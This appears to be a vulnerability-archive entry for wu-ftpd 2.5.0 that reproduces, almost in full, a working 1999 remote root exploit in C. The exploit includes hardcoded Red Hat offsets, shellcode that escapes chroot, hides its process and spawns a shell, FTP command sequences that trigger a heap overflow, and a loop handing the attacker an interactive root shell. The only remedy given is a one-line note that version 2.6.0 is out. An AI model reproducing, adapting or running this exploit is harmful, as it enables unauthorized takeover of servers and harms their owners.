COMMAND

    wuftpd

SYSTEMS AFFECTED

    wuftpd 2.5.0

PROBLEM

    Swen Persson posted following.  It's yet another 2.5.0 exploit...

    /*
     * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
     *                      chaos that follows a heap overflow. Linux version.
     *
     * C0ded by nuuB [Sep 19, 1999]
     *
     * Compile with:
     *
     *        cc wuftpd250-sploit.c -o wuftpd250-sploit
     *
     * Credits:
     *        typo for interesting discussions and the double combo idea.
     *        edi for the 'eip in PASS' idea.
     *        lcamtuf for finding the bug and posting on bugtraq.
     *        temas for a RH6 box to test this on.
     *
     * Quote:
     *
     * "<typo_> it's wicked... but you can change errcatch and LastArgv at the
     *          same time, thus doing an elite combo and owning the entire world"
     *
     * Below is a detailed description of how the exploit works. You shouldn't
     * have too much trouble understanding what is going on. The code is written
     * for readability and roboustness (i.e not using the 'printf()|nc' style).
     *
     * Have fun, but as always - BEHAVE!
     *
     * /nuuB
     */
    
    /*
     * Overflow:
     *
     *   cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
     *
     * Pseudo call sequence for each received FTP command:
     *
     *   if(command_not_implemented) longjmp(errcatch);
     *   setproctitle("<who>: <command>");
     *   do_<command>();
     *   setproctitle("<who>: IDLE");
     *
     * where
     *
     *   setproctitle(<string>) {
     *     copy <string> to Argv[0] and pad with spaces to LastArgv;
     *   }
     *
     * Egg:
     *
     *    /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
     *    ^- 0           ^- mp_size-255-256            ^- mp_size
     *
     * Pad: A--A=padding/NOP
     * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
     * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
     *
     * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
     *
     *   We can't get eip directly, but as setproctitle() copies data we have some
     *   control over to the area between Argv[0] and LastArgv we can do some neat
     *   stuff. There are several ways to do it, but this exploit uses the three
     *   different methods outlined below.
     *
     * Anon attack:
     *
     *   We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
     *   eip can be snagged in different ways. One way is to overwrite the return
     *   address on the stack for setproctitle(), essentially turning the heap
     *   overflow into a stack overflow. The nature of the exploit forces us to
     *   know the exact place on the stack, and this varies with the environment.
     *   Thus this method is very unreliable, but is still included as we do
     *   this for fun :) A better way is to overwrite the JB_PC part of errcatch
     *   and then cause errcatch to be called by issuing an unimplemented command.
     *   Still, we need two offsets, but both are on the heap. As a bonus
     *   this method can't be stopped by Stack Guard or non-executable stacks.
     *
     *   Required offsets: mapped_path, setproctitle() stack eip / errcatch.
     *
     * Account attack:
     *
     *   There is no controllable data in the setproctitle("IDLE") call so we use
     *   two CWD's and make use of the setproctitle("CWD") calls. The first CWD
     *   will set the Argv stuff so the second CWD (with our eip) gets written
     *   where we want. The second CWD will have to change the Argv's so that
     *   we don't destroy the eip when the final setproctitle("IDLE") call comes.
     *   In this case we can't write eip to the stack as it will be hosed before
     *   we get a chance to use it. This method works for anonymous too and is
     *   unstoppable by Stack Guard etc.
     *
     *   Required offsets: mapped_path, errcatch.
     *
     * Interesting finding:
     *
     *   When trying to CWD <overflowing component> you get a 250 reply under
     *   RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
     *   the source for wuftpd is the same in both cases. This probably has to do
     *   with the different kernel/libc's and how they handle long paths. Anyhow,
     *   this needs to be taken into account in the double combo attack.
     *
     * Offsets:
     *
     *   The above methods require two offsets to be known exactly. This gives
     *   us a lot of combinations to try. The amount could possibly be reduced
     *   a bit using more eip pointers, but as mapped_path has to be known
     *   the number of combinations is bigger than I think is practical. Thus
     *   there is no option to enter offsets from the command line.
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <ctype.h>
    
    extern int errno;
    
    /* Offsets that must be known (exactly) */
    int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
    unsigned long mapped_path;
    unsigned long eip_addr;
    
    /* Values we want to set the corresponding variables to. Calculated from the
     * above offsets.
     */
    unsigned long c0de_addr;
    unsigned long owned_Argv0;
    unsigned long owned_Argv;
    unsigned long owned_LastArgv;
    
    #define TOP_OF_STACK 0xc0000000
    
    /* Variable that decides if mkd_cwd() aborts on errors or not */
    int mkd_cwd_bail_on_error=1;
    
    /* Lets start collecting offsets... */
    
    struct preset {
      char *desc;
      void (*attack)();
      int mpsize;
      unsigned long mp;
      unsigned long eip_addr;
    };
    
    void attack_anon();
    void attack_any();
    
    /* Offsets can be found using gdb, objdump or ltrace */
    
    struct preset presets[]={
      {"eip   RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
       attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4},
    
      {"ljmp  RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
       attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
      {"ljmp  RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
       attack_anon, 1024, 0x08067504, 0x08070930+5*4},
      {"ljmp  RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
       attack_anon, 4096, 0x08067780, 0x08075520+5*4},
      {"ljmp  RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
       attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
    
      {"2x    RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
       attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
      {"2x    RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
       attack_any, 1024, 0x08067504, 0x08070930+5*4},
      {"2x    RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
       attack_any, 4096, 0x08067780, 0x08075520+5*4},
      {"2x    RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
       attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
    
      {0,0,0,0,0}
    };
    
    
    /* Some stuff we need */
    
    int ctrl;
    int verbose;
    char *local_hostname;
    
    char *target_host;
    int   target_port;
    char *target_user=0;
    char *target_pass=0;
    char *target_dir=0;
    
    /*
     * This c0de breaks out of chroot() and then goes through a lot of trouble
     * to hide the process from the system operator. Finally a shell is spawned.
     *
     * c0de:
     *
     *   setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
     *   chroot("."); hide_process(); execve("/bin/sh");
     *
     * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
     */
    
    /* Not optimized for space as we got plenty of room */
    
    #define C0DE_SIZE 402
    
    char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
                "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
                "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
                "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
                "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
                "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
                "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
                "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
                "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
                "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
                "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
                "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
                "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
                "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
                "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
                "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
                "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
                "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
                "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
                "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
                "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
                "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
                "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
                "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
                "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
                "\xeb\x81";
    
    void usage() {
      int i;
    
      printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
	     "Usage: wuftpd250-sploit <target> <type>\n\n"
	     "<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
    
    "Type Neeq  Distro  RPM                             Banner date\n"
    "---- ----  ------  ------------------------------- ----------------------------\n");
    
      for(i=0; presets[i].desc; ++i) {
        if(presets[i].mpsize)
          printf("%2d)  %s\n", i, presets[i].desc);
      }
    
      printf("\n"
      " eip   = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
      " ljmp  = errcatch JB_PC overwrite (heap, anonymous only)\n"
      " 2x    = errcatch JB_PC overwrite using 2x combo (heap)\n");
      exit(0);
    }
    
    
    void parse_url(char *url) {
      char *u, *s;
    
      u=strdup(url);
      if((s=strrchr(u, '@'))) {
        *s++=0;
        target_user=u;
        u=s;
        if(!(s=strchr(target_user, ':'))) usage();
        *s++=0;
        target_pass=s;
      }
      target_host=u;
      if((u=strchr(u, '/'))) {
        target_dir=strdup(u);
        *u=0;
      }
      if((s=strchr(target_host, ':'))) {
        *s++=0;
        if(!isdigit(*s)) usage();
        target_port=atoi(s);
      }
      else
        target_port=21;
    }
    
    
    void baile(char *s) {
      printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
      exit(1);
    }
    
    
    void bail(char *s) {
      printf("*** %s\n", s);
      exit(1);
    }
    
    
    /* Should work on all platforms */
    
    char *htol_LEstr(unsigned long num) {
      static unsigned char buf[5];
      unsigned long n;
    
      n=htonl(num);
      buf[0]=(n>>24)&0xff;
      buf[1]=(n>>16)&0xff;
      buf[2]=(n>>8)&0xff;
      buf[3]=n&0xff;
      buf[4]=0;
    
      if(strlen(buf) != 4 ||
         strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) {
        printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
        bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
      }
      return buf;
    }
    
    
    int connect_host() {
      char *p;
      int fd;
      struct sockaddr_in target, me;
      struct hostent *he;
      int me_len;
    
      /* Connect to victim */
      memset(&target, 0, sizeof(struct sockaddr_in));
      target.sin_family=AF_INET;
      if(!inet_aton(target_host, &target.sin_addr)) {
        if(!(he=gethostbyname(target_host)))
          baile("Unable to resolve victim hostname.");
        memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
      }
      target.sin_port=htons(target_port);
      if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
      if(connect(fd, &target, sizeof(target))) baile("connect() failed");
    
      /* Get local hostname */
      me_len=sizeof(me);
      if(getsockname(fd, &me, &me_len))
        baile("Unable to determine local hostname!");
      if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
        local_hostname=strdup(he->h_name);
      else if((p=inet_ntoa(me.sin_addr))) {
        strcpy(local_hostname, p);
      }
      else
        baile("Unable to determine local hostname!");
    
      printf("*** Local hostname: %s\n", local_hostname);
      return fd;
    }
    
    
    char *get_response_str() {
      static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
      char *p;
    
      p=buf;
      while(read(ctrl, p, 1) == 1) {
        if(*p == '\r') {
          *p++=0;
          while(read(ctrl, p, 1) == 1 && *p != '\n')
	    ;
          if(buf[3] == ' ') {
	    if(verbose == 1)
	      printf("%4.4s\n", buf);
	    else if(verbose >= 2)
	      printf("%s\n", buf);
    
	    return buf;
          }
          p=buf;
          continue;
        }
        ++p;
      }
      bail("Server disconnected.");
      return 0; /* Never reached */
    }
    
    
    int get_response() {
      char *s;
    
      s=get_response_str();
      if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
        bail("Illegal response from server.");
      return atoi(s);
    }
    
    
    void send_command(unsigned char *cmd) {
      if(verbose == 1) printf("--> %4.4s\n", cmd);
      if(verbose >= 2) printf("--> %s\n", cmd);
      while(*cmd) {
        if(write(ctrl, cmd, 1) != 1) baile("write failed");
        if(*cmd == 0xff) /* 0xff -> IAC IAC */
          if(write(ctrl, cmd, 1) != 1) baile("write failed");
        ++cmd;
      }
      if(write(ctrl, "\r\n", 2) != 2)
        baile("write failed");
    }
    
    
    int mkd_cwd(char *dir) {
      char buf[1024];
      int r;
    
      sprintf(buf, "MKD %s", dir);
      send_command(buf);
      r=get_response();
      if(r !=  257 && r != 521) {
        printf("*** Failed to create dir (reply=%d)\n", r);
        bail("Aborting.");
      }
      sprintf(buf, "CWD %s", dir);
      send_command(buf);
      r=get_response();
      if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
      return r;
    }
    
    
    /* update_buffer() + shovel_data() moves data between the shell and the
     * local terminal.
     */
    
    #define BUFSIZE 128
    
    int update_buffer(char *buf, int *idx, int thisone, int direction) {
      if(thisone < 0) {
        if(errno == EINTR || errno == EWOULDBLOCK)
          return 0;
        return 1;
      }
      if(!thisone)
        return 1;
      if(direction < 0) {
        if(thisone < *idx)
          memmove(buf, &buf[thisone], *idx-thisone);
        *idx-=thisone;
      }
      else
        *idx+=thisone;
      return 0;
    }
    
    
    void shovel_data(int netfd) {
      fd_set R,W;
      char obuf[BUFSIZE], ibuf[BUFSIZE];
      int o, i;
      int done;
    
      fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
      fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
      fcntl(netfd, F_SETFL, O_NONBLOCK);
    
      o=i=done=0;
      while(!done) {
        FD_ZERO(&R); FD_ZERO(&W);
        if(i > 0) FD_SET(STDOUT_FILENO, &W);
        if(i < BUFSIZE) FD_SET(netfd, &R);
        if(o > 0) FD_SET(netfd, &W);
        if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
    
        select(netfd+1, &R, &W, 0, 0);
    
        if(FD_ISSET(STDOUT_FILENO, &W))
          done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
        if(FD_ISSET(netfd, &W))
          done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
        if(FD_ISSET(STDIN_FILENO, &R))
          done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
        if(FD_ISSET(netfd, &R))
          done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
      }
    }
    
    
    /* Do the stuff common to the attacks */
    
    int do_prologue() {
      char buf[1024];
      char *s, *t;
      int pos;
    
      verbose=2;
      mkd_cwd_bail_on_error=1;
    
      if(get_response() != 220) bail("No welcome banner.");
      sprintf(buf, "USER %s", target_user);
      send_command(buf);
      if(get_response() != 331) bail("USER failed.");
      sprintf(buf, "PASS %s", target_pass);
      send_command(buf);
      if(get_response() != 230) bail("PASS failed.");
      if(target_dir) {
        sprintf(buf, "CWD %s", target_dir);
        send_command(buf);
        if(get_response() != 250) bail("CWD <writable dir> failed.");
      }
      send_command("PWD");
      s=get_response_str();
      if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
        bail("Unable to get current directory.");
    
      /* Pos is how much of mapped_path is used so far (excluding NULL) */
      pos=(t-(s+5));
    
      printf("*** Creating deep directory. This may take some time...\n");
      verbose=0;
    
      /* Align to 256 bytes (excluding trailing /) */
      memset(buf, 'A', sizeof(buf));
      buf[256-(pos+1)]=0;
      mkd_cwd(buf);
      pos+=1+strlen(buf);
    
      /* Keep going */
      memset(buf, 'A', sizeof(buf));
      buf[255]=0;
      while(pos+255 < mapped_path_size-256*2) {
        mkd_cwd(buf);
        pos+=1+strlen(buf);
      }
    
      printf("*** Time to bring out the c0de...\n"
	     "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
      verbose=1;
    
      /* alarm(0) B} */
      /* c0de[131]=c0de[132]=c0de[255]; */
    
      /* First part of the code */
      strncpy(buf, c0de, 255);
      buf[255]=0;
      mkd_cwd(buf);
      pos+=1+255;
    
      /* Second part + pad */
      memset(buf, 'A', sizeof(buf));
      strncpy(buf, c0de+256, C0DE_SIZE-256);
      buf[255-12-1]=0;
      mkd_cwd(buf);
      pos+=1+strlen(buf);
    
      /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
    
      return pos;
    }
    
    
    void attack_anon() {
      char buf[1024];
      int pos;
    
      if(target_user || target_pass)
        bail("Sorry, this type only works for anonymous FTP...");
    
      printf("*** Logging in as anonymous.\n");
    
      ctrl=connect_host();
    
      /* Calculate offsets */
      c0de_addr=mapped_path+mapped_path_size-255-256;
      owned_Argv=mapped_path+mapped_path_size-8;
      owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
      /* "ftpd: <host>: anonymous/" */
      owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
    
      target_user="anonymous";
      sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
      target_pass=buf;
    
      pos=do_prologue();
    
      /* This last block starts at mapped_path[mapped_path_size-12] */
      memset(buf, 'A', sizeof(buf));
      /* Skip eeee for this method */
      strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
      /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
      strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
      strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
      pos+=1+strlen(buf);
    
      printf("*** Total egg size is %d. Sending final component.\n", pos);
      mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
      mkd_cwd(buf);
      printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
	     "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
      /* Cause longjmp(errcatch) - only needed for the errcatch method */
      write(ctrl, "MRCP\r\n", 6);
    }
    
    
    void attack_any() {
      char buf[1024];
      int pos;
      int prefixlen;
    
      if(!target_user || !target_pass) {
        target_user="anonymous";
        target_pass="cr@ck.er";
        printf("*** Logging in as anonymous.\n");
      }
    
      ctrl=connect_host();
    
      /* Calculate offsets */
      c0de_addr=mapped_path+mapped_path_size-255-256;
      owned_Argv=mapped_path+mapped_path_size-8;
      /* "ftpd: <host>: <user>: CWD " */
      prefixlen=14+strlen(local_hostname)+strlen(target_user);
    
      /* 'anonymous/' pass */
      if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
        prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
    
      pos=do_prologue();
    
      /* First CWD */
      owned_Argv0=eip_addr-prefixlen;
      owned_Argv=mapped_path+mapped_path_size-8;
      owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
    
      memset(buf, 'A', sizeof(buf));
      strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
      strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
      strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
      pos+=1+strlen(buf);
      printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
      verbose=1;
      printf("*** Round-house kick.\n");
    
      mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
      if(mkd_cwd(buf) == 250) {
        send_command("CWD .."); /* Back up if the chdir() was successful */
        get_response();
      }
    
      /* Second CWD.
       *
       * Borrow some room near TOP_OF_STACK ("free space") as a safe place for
       * the remaining times setproctitle() is called.
       */
      owned_Argv0=TOP_OF_STACK-8;
      owned_LastArgv=TOP_OF_STACK-1;
    
      strncpy(buf, htol_LEstr(c0de_addr), 4);
      strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
      strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
    
      printf("*** Elite-airborne-double-kick-to-the-head as featured in "
	     "The Matrix.\n");
      mkd_cwd(buf);
    
      printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
      write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */
    }
    
    
    int main(int argc, char *argv[]) {
      int i;
    
      if(argc != 3 || !isdigit(*argv[2])) usage();
    
      parse_url(argv[1]);
    
      /* Find the preset */
      for(i=0; presets[i].desc; ++i) {
        if(i==atoi(argv[2]))
          break;
      }
      if(!presets[i].mpsize) bail("No such target type.");
    
      mapped_path_size=presets[i].mpsize;
      mapped_path=presets[i].mp;
      eip_addr=presets[i].eip_addr;
    
      (presets[i].attack)();
    
      signal(SIGINT, SIG_IGN);    /* Get rid of accidental ctrl-C */
      write(ctrl, "id\n", 3);     /* assert(0wnage) */
      shovel_data(ctrl);
      write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
    
      printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
      return 0;
    }

SOLUTION

    2.6.0 is out.